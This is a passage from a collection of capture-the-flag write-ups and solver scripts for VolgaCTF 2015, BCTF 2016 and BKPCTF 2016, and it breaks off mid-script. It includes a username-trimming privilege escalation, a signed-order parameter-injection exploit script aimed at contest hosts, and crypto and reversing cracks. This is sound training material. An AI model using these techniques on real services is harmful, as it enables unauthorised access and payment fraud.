(WIN-VQ2T0GLLBKC pss : d@7raLzVolg@CTF): 26 | 27 | ![alt recovery1](recovery1.png) 28 | 29 | Next we perform recovery on disk (choosing Fast EFS recovery), enter the password (d@7raLzVolg@CTF) and after being notified no deleted files have been recovered we are presented with an overview of the folders and files in the volume: 30 | 31 | ![alt recovery2](recovery2.png) 32 | 33 | The volume contains only a single file called "flag.gif" which we can preview (but not save in our trial version): 34 | 35 | ![alt recovery3](recovery3.png) 36 | 37 | Taking a look at the file with the built-in hex viewer we can see the flag all the way down at the end of the file: 38 | 39 | ![alt recovery4](recovery4.png) 40 | 41 | Giving us the flag: 42 | 43 | >*{fkw2pef460hlcm2vefvblowmfldqaw34volgactf}* -------------------------------------------------------------------------------- /2015/VOLGACTF/forensics/russiandoll/recovery1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/forensics/russiandoll/recovery1.png -------------------------------------------------------------------------------- /2015/VOLGACTF/forensics/russiandoll/recovery2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/forensics/russiandoll/recovery2.png -------------------------------------------------------------------------------- /2015/VOLGACTF/forensics/russiandoll/recovery3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/forensics/russiandoll/recovery3.png -------------------------------------------------------------------------------- /2015/VOLGACTF/forensics/russiandoll/recovery4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/forensics/russiandoll/recovery4.png -------------------------------------------------------------------------------- /2015/VOLGACTF/pwn/database/README.md: -------------------------------------------------------------------------------- 1 | # VolgaCTF 2015: database 2 | 3 | **Category:** Pwn 4 | **Points:** 75 5 | **Description:** 6 | 7 | > *hack the [database](challenge/database)!* 8 | > 9 | > *nc database.2015.volgactf.ru 7777* 10 | 11 | 12 | Its a telnet-service listening on port 7777 13 | 14 | In the non-stripped binary we see a couple of functions, when looking at the functionprocess_connection we see a few possible commands (which can also be seen by running the binary through strings): 15 | 16 | > get_flag 17 | > 18 | > whoami 19 | > 20 | > login 21 | > 22 | > register 23 | > 24 | > get_info 25 | > 26 | > set_info 27 | > 28 | > logout 29 | > 30 | > exit 31 | 32 | Lets first try get_flag 33 | 34 | > This command is prohibited to non-admin users. 35 | 36 | Okay, lets try to register admin: 37 | > > register admin a 38 | > > This user is already exists. 39 | 40 | Hmm lets look at the register_user function in the binary 41 | 42 | >```c 43 | > LODWORD(userExists) = g_hash_table_lookup(users, cmd_arg1); 44 | > if ( userExists ) 45 | > { 46 | > user_exists_len = strlen(user_exists); 47 | > result = send(SocketFD, user_exists, user_exists_len, 0); 48 | > } 49 | > else 50 | > { 51 | > result = (ssize_t)insert_new_user(cmd_arg1_ref1, cmd_arg2_ref1, 0LL); 52 | > *(_QWORD *)ref_result = result; 53 | > } 54 | >``` 55 | 56 | So it first checks if the input-string does not already exist as a username and then calls 'insert_new_user' 57 | 58 | >```c 59 | > username_buf = (char *)calloc(0x40uLL, 1uLL); 60 | > username_after_rtrim = rtrim((const char *)username); 61 | > strncpy(username_buf, username_after_rtrim, 0x40uLL); 62 | > username_buf[64] = 0; 63 | > password_buf = (char *)calloc(0x80uLL, 1uLL); 64 | > password_after_rtrim = rtrim((const char *)password); 65 | > strncpy(password_buf, password_after_rtrim, 0x40uLL); 66 | > password_buf[64] = 0; 67 | > if ( v7 ) 68 | > { 69 | > v5 = rtrim((const char *)v7); 70 | > strncpy(password_buf + 64, v5, 0x40uLL); 71 | > password_buf[128] = 0; 72 | > } 73 | > g_hash_table_insert(users, username_buf, password_buf); 74 | >``` 75 | 76 | So first, the input-string is checked if it does not exist as a username already, and if not, the username gets trimmed' with rtrim(); and inserted into the database.. seems like a vulnerability to me: we can insert something like admin\t, which when checked does not exist, but rtrim proceeds to remove the \t character so we end up inserting 'admin'. Let's try that: simply print a tab-character in your terminal and copy it: $perl -e 'print "\t"' then register admin\t and you're logged in as admin: 77 | 78 | >```bash 79 | > >register admin a 80 | > >whoami 81 | > You are admin. 82 | > >get_flag 83 | > flag: {does_it_look_like_column_tr@ncation} -------------------------------------------------------------------------------- /2015/VOLGACTF/pwn/database/challenge/database: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/pwn/database/challenge/database -------------------------------------------------------------------------------- /2015/VOLGACTF/reversing/interstellar/challenge/interstellar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/reversing/interstellar/challenge/interstellar -------------------------------------------------------------------------------- /2015/VOLGACTF/reversing/interstellar/eq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/reversing/interstellar/eq.png -------------------------------------------------------------------------------- /2015/VOLGACTF/reversing/interstellar/eq2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/reversing/interstellar/eq2.png -------------------------------------------------------------------------------- /2015/VOLGACTF/reversing/interstellar/eq3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/reversing/interstellar/eq3.png -------------------------------------------------------------------------------- /2015/VOLGACTF/reversing/interstellar/solution/interstellar_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # VolgaCTF Quals 2015 4 | # Interstellar (REVERSE/200) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import gmpy2 11 | 12 | # a1 XNOR a2 13 | def XNOR(a1, a2): 14 | v2 = len(a1) 15 | if(v2 != len(a2)): 16 | print "[-]len(a1) != len(a2)" 17 | exit() 18 | 19 | a3 = "" 20 | for i in xrange(0, len(a1)): 21 | if(a1[i] == a2[i]): 22 | v3 = chr(49) 23 | else: 24 | v3 = chr(48) 25 | 26 | a3 += v3 27 | return a3 28 | 29 | # decimal int to bin 30 | def dec2bin(a1): 31 | return format(a1, '#010b')[2:] 32 | 33 | # interstellar crypt function 34 | def interstellar_crypt(s): 35 | binarystring = "01111101001000101000000111101001001011111110010011100111010011000010101101110110100001101011100101001110000000001101000110001011011010101001000000010010001100011001100011001011010101111011110110001100101100101000110011101111101101000110110010101001100100110100010101101111101111011001100011111101" 36 | 37 | #__gmpz_init(&v16); 38 | v16 = gmpy2.mpz(0) 39 | 40 | for i in xrange(0, len(s)): 41 | #__gmpz_mul_ui(&v16, &v16, 307LL); 42 | v16 = gmpy2.mul(v16, 307) 43 | 44 | #__gmpz_add_ui(&v16, &v16, s[SHIDWORD(stat_loc.__iptr)]); 45 | v16 = gmpy2.add(v16, ord(s[i])) 46 | 47 | #LODWORD(v4) = __gmpz_get_str(0LL, 2LL, &v16); 48 | v4 = XNOR(v16.digits(2), binarystring) 49 | s1 = "" 50 | 51 | # Iterate over chunks of 8 52 | for i in xrange(0, (len(v4) >> 3)): 53 | v5 = chr(int(v4[8*i: (8*i)+8], 2)) 54 | s1 += v5 55 | return s1 56 | 57 | # interstellar test 58 | def interstellar_test(s): 59 | s2 = "From a seed a mighty trunk may grow.\n" 60 | 61 | if(len(s) == 36): 62 | return (interstellar_crypt(s) == s2) 63 | else: 64 | return False 65 | 66 | # interstellar recover 67 | def interstellar_recover(s2): 68 | v4 = "" 69 | binarystring = "01111101001000101000000111101001001011111110010011100111010011000010101101110110100001101011100101001110000000001101000110001011011010101001000000010010001100011001100011001011010101111011110110001100101100101000110011101111101101000110110010101001100100110100010101101111101111011001100011111101" 70 | 71 | for i in xrange(0, len(s2)): 72 | v4 += dec2bin(ord(s2[i])) 73 | 74 | v16 = gmpy2.mpz(XNOR(v4, binarystring), 2) 75 | print "[*]P(flag) = %d" % v16 76 | 77 | charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-.:;<=>?@[\]^_{}" 78 | 79 | flag = "" 80 | for i in xrange(36): 81 | for c in charset: 82 | if((v16 - ord(c)) % 307 == 0): 83 | v16 -= ord(c) 84 | v16 /= 307 85 | flag += c 86 | break 87 | 88 | return flag[::-1] 89 | 90 | s2 = "From a seed a mighty trunk may grow.\n" 91 | flag = interstellar_recover(s2) 92 | if(interstellar_test(flag)): 93 | print "[+]Got flag: [%s]" % flag -------------------------------------------------------------------------------- /2015/WHITEHAT_CONTEST_10/README.md: -------------------------------------------------------------------------------- 1 | # WhiteHat Contest 10 write-ups 2 | 3 | ## Solved 4 | 5 | * [reversing/re200](reversing/re200) 6 | -------------------------------------------------------------------------------- /2016/BCTF/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2016 2 | 19 mrt 2016, 03:00 CET — 21 mrt 2016, 03:00 CET 3 | 4 | Official URL: http://bctf.cn/ 5 | CTFtime event: [CTFtime](https://ctftime.org/event/264) 6 | 7 | ## Result 8 | | Place | Points | Rating points | 9 | |------:|-------:|--------------:| 10 | | - | - | - | 11 | 12 | ## Solved 13 | | Challenge | Type | Points | Write-up | 14 | |:----------|:-----|-------:|:-------------| 15 | | irc | Misc. | 10 | [link](misc/irc) | 16 | | zerodaystore | Misc. | 200 | [link](misc/zerodaystore) | 17 | | hsab | Misc. | 250 | [link](misc/hsab) | 18 | | catvideo | Forensic | 150 | [link](forensic/catvideo) | 19 | | sif | Reversing | 350 | [link](reversing/sif) | 20 | -------------------------------------------------------------------------------- /2016/BCTF/misc/zerodaystore/challenge/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import web 4 | import rsa 5 | import json 6 | import random 7 | import time 8 | import hashlib 9 | from base64 import b64encode, b64decode 10 | 11 | class order: 12 | def POST(self): 13 | try: 14 | params = web.data() 15 | data = json.loads(params) 16 | androidID = data['androidID'] 17 | productID = data['productID'] 18 | if productID == 0: 19 | price = 50000 20 | elif productID == 1: 21 | price = 80000 22 | elif productID == 2: 23 | price = 100000 24 | elif productID == 3: 25 | price = 120000 26 | elif productID == 4: 27 | price = 500000 28 | else: 29 | raise ValueError("productID is not correct!") 30 | 31 | rand = random.randint(1,100000000) 32 | orderID = androidID + str(rand) 33 | timestamp = int(time.time()*1000) 34 | orderStr = "orderID="+orderID 35 | orderStr += ("&price="+str(price)) 36 | orderStr += ("&productID="+str(productID)) 37 | orderStr += ("×tamp="+str(timestamp)) 38 | orderStr += ("&signer=RSA") 39 | orderStr += ("&hash=sha256") 40 | 41 | nonce = "%016x" % random.getrandbits(64) 42 | orderStr += ("&nonce="+nonce) 43 | messageHash = hashlib.sha256(orderStr).digest() 44 | 45 | messageSign = rsa.sign(orderStr, privKey, 'SHA-256') 46 | orderStr += ("&sign="+b64encode(messageSign)) 47 | 48 | return json.dumps({'status':1, 'data':orderStr}) 49 | except: 50 | return json.dumps({'status':0}) 51 | 52 | class pay: 53 | 54 | def POST(self): 55 | try: 56 | orderStr = web.data() 57 | subIndex = orderStr.rfind('&sign=') 58 | signedStr = orderStr[:subIndex] 59 | messageHash = hashlib.sha256(signedStr).digest() 60 | if not(rsa.verify(signedStr, b64decode(orderStr[subIndex+6:]), pubKey)): 61 | raise Exception 62 | 63 | except: 64 | return json.dumps({'status':2}) 65 | 66 | try: 67 | orderStrParts = orderStr.split('&') 68 | price = 0 69 | orderID = "" 70 | for part in orderStrParts: 71 | if part.startswith('price='): 72 | price = int(part[6:]) 73 | if part.startswith('orderID='): 74 | orderID = part[8:] 75 | if price > 0: 76 | raise Exception 77 | 78 | return json.dumps({'status':4, 'data':'BCTF{XXXXXXXXXXXXXXXX}'}) 79 | 80 | except: 81 | return json.dumps({'status':3}) -------------------------------------------------------------------------------- /2016/BCTF/misc/zerodaystore/challenge/zerodaystore.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/BCTF/misc/zerodaystore/challenge/zerodaystore.apk -------------------------------------------------------------------------------- /2016/BCTF/misc/zerodaystore/solution/zerodaystore_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # 3 | # BCTF 2016 4 | # zerodaystore (MISC/200) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import json 11 | import requests 12 | 13 | def order(target, product_id, price, android_id): 14 | data = {'productID': product_id, 'price': price, 'androidID': android_id} 15 | r = requests.post(target + '/order', data = json.dumps(data)) 16 | if (r.status_code == 200): 17 | return r.text 18 | else: 19 | return None 20 | 21 | def pay(target, orderStr): 22 | r = requests.post(target + '/pay', data = orderStr) 23 | if (r.status_code == 200): 24 | return r.text 25 | else: 26 | return None 27 | return 28 | 29 | order_url = 'http://mall.godric.me' 30 | pay_url = 'http://paygate.godric.me' 31 | 32 | product_id = 4 33 | price = 1 34 | android_id = '1' 35 | 36 | response = order(order_url, product_id, price, android_id) 37 | if (response != None): 38 | data = json.loads(response) 39 | if (data['status'] == 1): 40 | order_data = data['data'] 41 | response = pay(pay_url, order_data + "&price=0") 42 | if (response != None): 43 | data = json.loads(response) 44 | if (data['status'] == 2): 45 | print "[-] Invalid payment signature..." 46 | elif (data['status'] == 3): 47 | print "[-] Invalid price (> 0)..." 48 | elif (data['status'] == 4): 49 | print "[+] Got flag: [%s]" % data['data'] 50 | else: 51 | print "[-] Payment request failed (invalid status)" 52 | else: 53 | print "[-] Payment request failed (invalid HTTP response code)" 54 | else: 55 | print "[-] Order request failed (invalid status)" 56 | else: 57 | print "[-] Order request failed (invalid HTTP response code)" -------------------------------------------------------------------------------- /2016/BCTF/reversing/sif/challenge/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/BCTF/reversing/sif/challenge/flag.png -------------------------------------------------------------------------------- /2016/BCTF/reversing/sif/challenge/sif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/BCTF/reversing/sif/challenge/sif -------------------------------------------------------------------------------- /2016/BCTF/reversing/sif/solution/plaintext_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/BCTF/reversing/sif/solution/plaintext_flag.png -------------------------------------------------------------------------------- /2016/BCTF/reversing/sif/solution/sif_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # BCTF 2016 4 | # sif (REVERSING/350) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import hashlib 11 | from struct import pack, unpack 12 | 13 | def magic_step(x): 14 | A = 0x5DEECE66D 15 | B = 0xB 16 | M = ((1 << 48) - 1) 17 | return (((x * A) + B) & M) 18 | 19 | class magic: 20 | def __init__(self, seed): 21 | self.x = seed 22 | return 23 | 24 | def step(self): 25 | old_x = self.x 26 | self.x = magic_step(self.x) 27 | return old_x 28 | 29 | def xor_strings(xs, ys): 30 | return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys)) 31 | 32 | def recover_mana(keystream_slice): 33 | assert (len(keystream_slice) == 4) 34 | mana_lsbs = [ord(x) for x in list(keystream_slice)] 35 | return ((mana_lsbs[0] << 40) | (mana_lsbs[1] << 32) | (mana_lsbs[2] << 24) | (mana_lsbs[3] << 16)) 36 | 37 | def decrypt(ciphertext, seed): 38 | plaintext = '' 39 | pos = 0 40 | m = magic(seed) 41 | for i in xrange(len(ciphertext)): 42 | if (pos == 0): 43 | rk = m.step() 44 | cur = [(rk >> 40), (rk >> 32), (rk >> 24), (rk >> 16)] 45 | plaintext += chr(ord(ciphertext[i]) ^ (cur[pos] & 0xFF)) 46 | pos = ((pos + 1) & 3) 47 | return plaintext 48 | 49 | def mana_check(mana1, mana2): 50 | i = 0 51 | print "[*] Checking mana..." 52 | while(i < 2**16): 53 | candidate = (mana1 | i) 54 | if ((magic_step(candidate) & 0xFFFFFFFF0000) == (mana2 & 0xFFFFFFFF0000)): 55 | return candidate 56 | 57 | i += 1 58 | 59 | raise Exception("[-] Couldn't check LCG outputs...") 60 | return 61 | 62 | ciphertext = open('flag.png', 'rb').read() 63 | known_png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" 64 | crypto_header = ciphertext[0:8] 65 | cipher_png_header = ciphertext[8:8+len(known_png_header)] 66 | keystream = xor_strings(cipher_png_header, known_png_header) 67 | 68 | print "[+] crypto header: [%s]" % (crypto_header.encode('hex')) 69 | print "[+] derived keystream: [%s]" % (keystream.encode('hex')) 70 | 71 | mana1 = recover_mana(keystream[0:4]) 72 | mana2 = recover_mana(keystream[4:8]) 73 | 74 | print "[+] recovered (partial) LCG output 1: [%s]" % ('{:012x}'.format(mana1)) 75 | print "[+] recovered (partial) LCG output 2: [%s]" % ('{:012x}'.format(mana2)) 76 | 77 | seed = mana_check(mana1, mana2) 78 | 79 | print "[+] cracked LCG seed: [%s]" % ('{:08x}'.format(seed)) 80 | 81 | open('plaintext_flag.png', 'wb').write(decrypt(ciphertext[8:], seed)) 82 | print "[+] decrypted flag.png!" -------------------------------------------------------------------------------- /2016/BKPCTF/README.md: -------------------------------------------------------------------------------- 1 | # Boston Key Party CTF 2016 2 | 04 mrt 2016, 23:00 CET — 06 mrt 2016, 23:00 CET 3 | 4 | Official URL: http://bostonkeyparty.net/ 5 | CTFtime event: [CTFtime](https://ctftime.org/event/252) 6 | 7 | ## Result 8 | | Place | Points | Rating points | 9 | |------:|-------:|--------------:| 10 | | - | - | - | 11 | 12 | ## Solved 13 | | Challenge | Type | Points | Write-up | 14 | |:----------|:-----|-------:|:-------------| 15 | | desofb | Crypto | 2 | [link](crypto/desofb) | 16 | | unholy | Reversing | 4 | [link](reversing/unholy) | 17 | | ltseorg | Crypto | 4 | [link](crypto/ltseorg) | 18 | -------------------------------------------------------------------------------- /2016/BKPCTF/crypto/desofb/challenge/ciphertext: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/BKPCTF/crypto/desofb/challenge/ciphertext -------------------------------------------------------------------------------- /2016/BKPCTF/crypto/desofb/challenge/des-ofb.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import DES 2 | 3 | f = open('key.txt', 'r') 4 | key_hex = f.readline()[:-1] # discard newline 5 | f.close() 6 | KEY = key_hex.decode("hex") 7 | IV = '13245678' 8 | a = DES.new(KEY, DES.MODE_OFB, IV) 9 | 10 | f = open('plaintext', 'r') 11 | plaintext = f.read() 12 | f.close() 13 | 14 | ciphertext = a.encrypt(plaintext) 15 | f = open('ciphertext', 'w') 16 | f.write(ciphertext) 17 | f.close() 18 | -------------------------------------------------------------------------------- /2016/BKPCTF/crypto/desofb/ofb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/BKPCTF/crypto/desofb/ofb.png -------------------------------------------------------------------------------- /2016/BKPCTF/crypto/desofb/solution/ciphertext: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/BKPCTF/crypto/desofb/solution/ciphertext -------------------------------------------------------------------------------- /2016/BKPCTF/crypto/desofb/solution/desofb_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # BKPCTF 2016 4 | # desofb (CRYPTO/2) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import string 11 | from Crypto.Cipher import DES 12 | 13 | def is_printable(s): 14 | return all(c in (string.printable) for c in s) 15 | 16 | def get_blocks(data, block_size): 17 | return [data[i:i+block_size] for i in range(0, len(data), block_size)] 18 | 19 | def xor_strings(xs, ys): 20 | return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys)) 21 | 22 | c = open("ciphertext", "rb").read() 23 | IV = '13245678' 24 | bs = DES.block_size 25 | 26 | assert (len(c) % bs == 0), "[-] Ciphertext not a multiple of DES blocksize" 27 | 28 | blocks = get_blocks(c, bs) 29 | 30 | """ 31 | for b in blocks: 32 | x = xor_strings(b, IV) 33 | if (is_printable(x)): 34 | print x 35 | """ 36 | 37 | p = " be, tha" 38 | k = xor_strings(blocks[2], p) 39 | 40 | s = "" 41 | for i in xrange(len(blocks)): 42 | if (i % 2 == 0): 43 | b = xor_strings(blocks[i], k) 44 | else: 45 | b = xor_strings(blocks[i], IV) 46 | 47 | s += b 48 | 49 | print s -------------------------------------------------------------------------------- /2016/BKPCTF/crypto/ltseorg/challenge/ltseorg.rb: -------------------------------------------------------------------------------- 1 | require 'socket' 2 | require 'shellwords' 3 | server = TCPServer.new(9090) 4 | 5 | while (connection = server.accept) 6 | Thread.new(connection) do |conn| 7 | conn.puts "gimme str 1" 8 | s1 = conn.gets.chomp 9 | conn.puts "gimme str 2" 10 | s2 = conn.gets.chomp 11 | exec = "python ./tlseorg.py --check #{Shellwords.shellescape s1} #{Shellwords.shellescape s2}" 12 | out = `#{exec}` 13 | puts out 14 | if out == "Success\n" 15 | conn.puts "FLAG" 16 | else 17 | conn.puts "failure" 18 | end 19 | conn.close 20 | end 21 | end 22 | 23 | -------------------------------------------------------------------------------- /2016/BKPCTF/crypto/ltseorg/challenge/tlseorg.py: -------------------------------------------------------------------------------- 1 | import sys, binascii, os, time 2 | from Crypto.Cipher import AES 3 | 4 | def gqq(): 5 | def qqg():gqq();qq(q("20206c7473656f72673a20416d2049206265696e672064657461696e65643f"));qq(q("20206c7473656f72673a20416d2049206672656520746f20676f3f"));qg() 6 | def qqq():qq(q("6c7473656f72673a204920616d206e6f7420616e73776572696e6720616e79207175657374696f6e7320776974686f7574206d79206c61777965722070726573656e742e"));qg() 7 | def gqq():time.sleep(1) 8 | def qg():qqg() 9 | def q(qq):return binascii.unhexlify(qq) 10 | def qq(q):print(q) 11 | def gq():qqg() 12 | qqq() 13 | 14 | # March-15: After 23 tries I think we fixed the issue with the IV. 15 | IV = binascii.unhexlify("696c61686773726c7177767576646968") 16 | 17 | BLOCK_SIZE = 16 18 | 19 | key1 = ["00" for x in xrange(32)]; key1[0] = "11";key1 = binascii.unhexlify("".join(key1)) 20 | key2 = ["00" for x in xrange(32)]; key2[0] = "FF";key2 = binascii.unhexlify("".join(key2)) 21 | 22 | P = AES.new(key1, AES.MODE_ECB) 23 | Q = AES.new(key2, AES.MODE_ECB) 24 | 25 | def pad_msg(msg): 26 | while not (len(msg) % 16 == 0): msg+="\x00" 27 | return msg 28 | 29 | def xor(str1, str2): 30 | out = [] 31 | for i in xrange(len(str1)): 32 | out.append( chr(ord(str1[i])^ord(str2[i])) ) 33 | return "".join(out) 34 | 35 | # "Pretty much" Grostl's provably secure compression function assuming ideal ciphers 36 | # Grostl pseudo-code is: h = P(m + h) + h + Q(m) and this is basically the same thing, right? 37 | # Ltsorg pseudo-code: h = P(m + h) + m + Q(h) 38 | def compress(m, h): return xor( xor( P.encrypt( xor(m, h) ), m), Q.encrypt(h) ) 39 | 40 | def finalization(m, h): return xor(m, h)[0:14] 41 | 42 | def hash(msg): 43 | msg=pad_msg(msg) 44 | # groestl's IV was boring 45 | h = IV 46 | 47 | for i in xrange(0, len(msg), BLOCK_SIZE): 48 | m = msg[i: i+BLOCK_SIZE] 49 | h = compress(m ,h) 50 | return finalization(m, h) 51 | 52 | 53 | def check(hashstr1, hashstr2): 54 | hash1 = binascii.unhexlify(hashstr1);hash2 = binascii.unhexlify(hashstr2) 55 | if hashstr1 == hashstr2 or hash1 == hash2: return False 56 | elif hash(hash1) == hash(hash2): return True 57 | return False 58 | 59 | 60 | def main(): 61 | if len(sys.argv) == 2: 62 | if sys.argv[1] == "-v": gqq() 63 | else: 64 | print "input: "+sys.argv[1] 65 | print "output: "+binascii.hexlify(hash(binascii.unhexlify(sys.argv[1]))) 66 | return 67 | elif len(sys.argv) == 3 and (sys.argv[1] == "-v" or sys.argv[2] == "-v"): gqq() 68 | elif len(sys.argv) == 4 and (sys.argv[1] == "--check"): 69 | if check(sys.argv[2], sys.argv[3]): print "Success" 70 | else: print "Failure" 71 | else: 72 | print("ltseorg: missing argument") 73 | print("Usage: ltseorg [OPTION...] [input]") 74 | print("-v \t Display Software version information") 75 | print("--check \t Check if two inputs break collision resistance.") 76 | 77 | if __name__ == "__main__": 78 | main() -------------------------------------------------------------------------------- /2016/BKPCTF/crypto/ltseorg/solution/ltseorg_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # BKPCTF 2016 4 | # ltseorg (CRYPTO/4) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import binascii 11 | from Crypto.Cipher import AES 12 | 13 | # March-15: After 23 tries I think we fixed the issue with the IV. 14 | IV = binascii.unhexlify("696c61686773726c7177767576646968") 15 | 16 | BLOCK_SIZE = 16 17 | 18 | key1 = ["00" for x in xrange(32)]; key1[0] = "11";key1 = binascii.unhexlify("".join(key1)) 19 | key2 = ["00" for x in xrange(32)]; key2[0] = "FF";key2 = binascii.unhexlify("".join(key2)) 20 | 21 | P = AES.new(key1, AES.MODE_ECB) 22 | Q = AES.new(key2, AES.MODE_ECB) 23 | 24 | def pad_msg(msg): 25 | while not (len(msg) % 16 == 0): msg+="\x00" 26 | return msg 27 | 28 | def xor(str1, str2): 29 | out = [] 30 | for i in xrange(len(str1)): 31 | out.append( chr(ord(str1[i])^ord(str2[i])) ) 32 | return "".join(out) 33 | 34 | # "Pretty much" Grostl's provably secure compression function assuming ideal ciphers 35 | # Grostl pseudo-code is: h = P(m + h) + h + Q(m) and this is basically the same thing, right? 36 | # Ltsorg pseudo-code: h = P(m + h) + m + Q(h) 37 | def compress(m, h): return xor( xor( P.encrypt( xor(m, h) ), m), Q.encrypt(h) ) 38 | 39 | def finalization(m, h): return xor(m, h)[0:14] 40 | 41 | def hash(msg): 42 | msg=pad_msg(msg) 43 | # groestl's IV was boring 44 | h = IV 45 | 46 | for i in xrange(0, len(msg), BLOCK_SIZE): 47 | m = msg[i: i+BLOCK_SIZE] 48 | h = compress(m ,h) 49 | return finalization(m, h) 50 | 51 | def check(hashstr1, hashstr2): 52 | hash1 = binascii.unhexlify(hashstr1);hash2 = binascii.unhexlify(hashstr2) 53 | if hashstr1 == hashstr2 or hash1 == hash2: return False 54 | elif hash(hash1) == hash(hash2): return True 55 | return False 56 | 57 | b0 = xor(P.decrypt(Q.encrypt(IV)), IV) 58 | h0 = compress(b0, IV) 59 | b1 = xor(P.decrypt(Q.encrypt(h0)), h0) 60 | 61 | input1 = b0.encode('hex') 62 | input2 = (b0 + b1).encode('hex') 63 | 64 | assert check(input1, input2) 65 | 66 | print input1 67 | print input2 -------------------------------------------------------------------------------- /2016/BKPCTF/reversing/unholy/challenge/main.rb: -------------------------------------------------------------------------------- 1 | require_relative 'unholy' 2 | include UnHoly 3 | python_hi 4 | puts ruby_hi 5 | puts "Programming Skills: PRIMARILY RUBY AND PYTHON BUT I CAN USE ANY TYPE OF GEM TO CONTROL ANY TYPE OF SNAKE" 6 | puts "give me your flag" 7 | flag = gets.chomp! 8 | arr = flag.unpack("V*") 9 | is_key_correct? arr 10 | -------------------------------------------------------------------------------- /2016/BKPCTF/reversing/unholy/challenge/unholy.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/BKPCTF/reversing/unholy/challenge/unholy.so -------------------------------------------------------------------------------- /2016/BKPCTF/reversing/unholy/solution/unholy_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # BKPCTF 2016 4 | # unholy (REVERSING/4) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import xtea 11 | from z3 import * 12 | from struct import unpack, pack 13 | 14 | def get_blocks(data, block_size): 15 | return [data[i:i+block_size] for i in range(0, len(data), block_size)] 16 | 17 | def solve_matrix_system(): 18 | s = Solver() 19 | 20 | Y = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947 ,984328,38423942839]] 21 | n = [[5034563854941868,252734795015555591,55088063485350767967],[-2770438152229037,142904135684288795,-33469734302639376803],[-3633507310795117,195138776204250759,-34639402662163370450]] 22 | A = [0,0,0,0,0,0,0,0,0] 23 | 24 | X = [[BitVec(0,32), BitVec(1,32), BitVec(2,32)], [BitVec(3,32), BitVec(4,32), BitVec(5,32)], [BitVec(6,32), BitVec(7,32), BitVec(8,32)]] 25 | 26 | for i in xrange(3): 27 | for j 